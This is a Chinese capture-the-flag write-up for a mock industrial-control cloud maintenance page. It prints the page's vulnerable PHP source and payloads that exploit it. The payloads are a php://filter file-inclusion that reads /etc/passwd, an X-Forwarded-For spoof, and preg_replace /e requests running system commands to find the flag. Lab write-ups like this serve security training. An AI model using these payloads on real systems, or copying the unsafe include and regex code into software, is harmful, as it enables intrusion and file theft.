其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
只能进入维护中心
要入侵系统,没有多余的信息,扫目录
没东西,那只能在原本页面找
源码中有个超链接
对应的是左上角的文字“云平台设备维护中心”
对应的 url,参数泄露
端口不给扫,先看看 ssh 开了没
?page=php://filter/read=convert.base64-encode/resource=../../../../etc/passwd
ssh 开了
用参数读页面源码,最下面多出一些源码,整理一下
<?php
$page = $_GET[page];
if (isset($page))
{
if (ctype_alnum($page))
{
echo $page; die();
}
else
{
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
}
}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')
{
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject))
{
preg_replace($pattern, $replacement, $subject);
}
else
{
die();
}
}
?>
ctype_alnum 匹配是否为数字或字母
strpos 返回字符串在另一字符串中第一次出现的位置
前面没有用不用管,只看最后一个 if
改 127.0.0.1 访问
preg_replace() 函数的三个参数
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
替换操作方法,查看操作系统下文件
?pat=/abc/e&rep=system("ls")&sub=abc
注意由于函数是执行正则表达式,替换后的内容需要执行得加上修饰符 e
Welcome My Admin !
css index.html index.php js layui logo.png s3chahahaDir start.sh 视图.png
?pat=/abc/e&rep=system("ls+s3chahahaDir")&sub=abc
?pat=/abc/e&rep=system("ls+s3chahahaDir/flag")&sub=abc
?pat=/abc/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=abc
这里 flag 没有显现出来,在源码可以看到